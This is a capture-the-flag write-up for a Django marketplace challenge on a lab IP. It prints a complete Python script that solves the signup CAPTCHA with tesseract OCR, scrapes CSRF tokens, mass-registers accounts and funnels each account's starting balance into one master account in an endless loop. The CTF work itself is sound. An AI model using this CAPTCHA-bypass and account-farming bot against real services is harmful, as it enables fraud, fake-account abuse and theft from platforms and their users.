I wrote a python script that automated registering hundreds of accounts, logging into each account, transferring the initial $500 that the account is created with to the same master account which drove the master account's balance to over $100,000 revealing the flag.
This part of the challenge required submitting a form repeatedly to spawn hundreds of new accounts. To break the CAPTCHA that was on the form page, I used pytesseract, a python wrapper for tesseract-ocr which is a command line tool that uses optical character recognition to extract the text from the CAPTCHA. After trying 7 or 8 different CAPTCHA breaking libraries, tesseract was the only one that I found that would crack the CAPTCHA out of the box with no training. It is worth noting that it only successfully guessed the CAPTCHA text once in every 8 or 9 guesses, but that was sufficient for this challenge.
The script does a get request to the signup page and parses the response using Beautiful Soup. It extracts django's csrftoken and the url for the CAPTCHA image. The csrftoken, CAPTCHA guess, and a username/password, which are just random UUID generated values, are posted to the signup page.
The response from the post request to the signup page is parsed with Beautiful Soup and checked for a Log In form. This is done because a successful registration takes you back to the homepage which has a login form on it. If the registration attempt fails, the response contains the registration form with the errors highlighted, but the error page does not have a login form on it. When the response contains a login page, the username and password from the account that was just created are posted to the login URL.
Once the new account is successfully authenticated, a simple get request to the purchase URL for the item posted is made which transfers the $499 that the new account was created with to the master account. The account is then logged out to terminate the session.
Since an item can only be purchased one time, every time an account we spawn purchases an item, a new item must be created for the next account to purchase. This is accomplished by authenticating via a post request to the login page using the credentials from our main account and then making a post request to the create new item page. The URL of the newly created item is then placed in a global variable so the account created during the next iteration of the script can access the newly created purchase URL.
#!/bin/python import Image import pytesseract import requests from bs4 import BeautifulSoup import urllib, cStringIO import uuid import time # global variable to hold the first item for sale purchase_URL = "http://172.31.1.55/listing/275104/?buy=1" def MakeMeMoney(): # bring the global variable into scope global purchase_URL # create a session object so we dont have to deal with cookies s = requests.Session() # get the signup page and parse it with Beautiful Soup r = s.get("http://172.31.1.55/signup/") soup = BeautifulSoup(r.text, 'html.parser') # get the hashed value for the captcha image id_captcha_0 = soup.find(id='id_captcha_0')['value'] # build the URL that points to the captcha image and pull a copy of it URL = 'http://172.31.1.55/captcha/image/' + id_captcha_0 + '/' file = cStringIO.StringIO(urllib.urlopen(URL).read()) img = Image.open(file) # use tesseract to crack the captcha captcha = pytesseract.image_to_string(img) # get the CSRF middleware token csrfmiddlewaretoken = soup.findAll(attrs={"name" : "csrfmiddlewaretoken"})[0]['value'] # uuid1 is our new accounts username, uuid2 is the password uuid1 = uuid.uuid4().__str__()[:15] uuid2 = uuid.uuid4().__str__()[:15] # use the payload to fill out the form on the signup page and post it payload = {'username': uuid1, 'password1': uuid2, 'password2': uuid2, 'captcha_0': id_captcha_0, 'captcha_1': captcha, 'csrfmiddlewaretoken': csrfmiddlewaretoken} finalpost = s.post("http://172.31.1.55/signup/", data=payload) print('post submitted') # parse the response with Beautiful Soup soup = BeautifulSoup(finalpost.text, 'html.parser') try: # if we failed to create an account, the next line will throw an array out of bounds exception if soup.findAll(attrs={"value" : "Log in"})[0] != None: print('post was successful') # write the username and password to a local file, we dont need to do this, its just nice with open("/root/ctf/djangoreg/accounts", "a") as f: f.write(uuid1 + ',' + uuid2 + '\n') print('successfully wrote username and password to file') # get the login page so we can extract the CSRF token from it r = s.get("http://172.31.1.55/accounts/login/") soup = BeautifulSoup(r.text, 'html.parser') csrfmiddlewaretoken = soup.findAll(attrs={"name" : "csrfmiddlewaretoken"})[0]['value'] # build the payload to fill out the form on the login page # use the uuid1 and uuid2 variables from the successful account registration payload = {'username': uuid1, 'password': uuid2, 'csrfmiddlewaretoken': csrfmiddlewaretoken} # LOGIN TO THE NEW ACCOUNT finalpost1 = s.post("http://172.31.1.55/accounts/login/", data=payload) print('logged in') # perform a get request on the Purchase URL to purchase the item x = s.get(purchase_URL) print('purchased') # Logout s.get("http://172.31.1.55/accounts/logout") print('logged out') r = s.get("http://172.31.1.55/accounts/login/") print('got login page') # log back in as the account that is collecting all of the funds soup = BeautifulSoup(r.text, 'html.parser') csrfmiddlewaretoken = soup.findAll(attrs={"name" : "csrfmiddlewaretoken"})[0]['value'] payload = {'username': 'makememoney', 'password': 'djangorules', 'csrfmiddlewaretoken': csrfmiddlewaretoken} finalpost = s.post("http://172.31.1.55/accounts/login/", data=payload) print('logged in as makememoney') # get the new listing page so we can extract the CSRF token abc = s.get("http://172.31.1.55/listings/new/") soup = BeautifulSoup(abc.text, 'html.parser') csrfmiddlewaretoken = soup.findAll(attrs={"name" : "csrfmiddlewaretoken"})[0]['value'] # create the payload to fill out the new listing form and create the new listing payload = {'name': uuid1, 'details': uuid1, 'csrfmiddlewaretoken': csrfmiddlewaretoken, 'image_src': 'moneymoneymoney', 'cost': '499'} finalfinalpost = s.post("http://172.31.1.55/listings/new/", data=payload) # save our new item URL as purchase_URL for the next iteration to use purchase_URL = finalfinalpost.url + '?buy=1' # logout so we can use the session variable to create a new account s.get("http://172.31.1.55/accounts/logout") print('new listing created successfully') print(purchase_URL) except: # the tesseract guess failed the captcha, no account created print('captcha failed') # loop forever while(1): MakeMeMoney()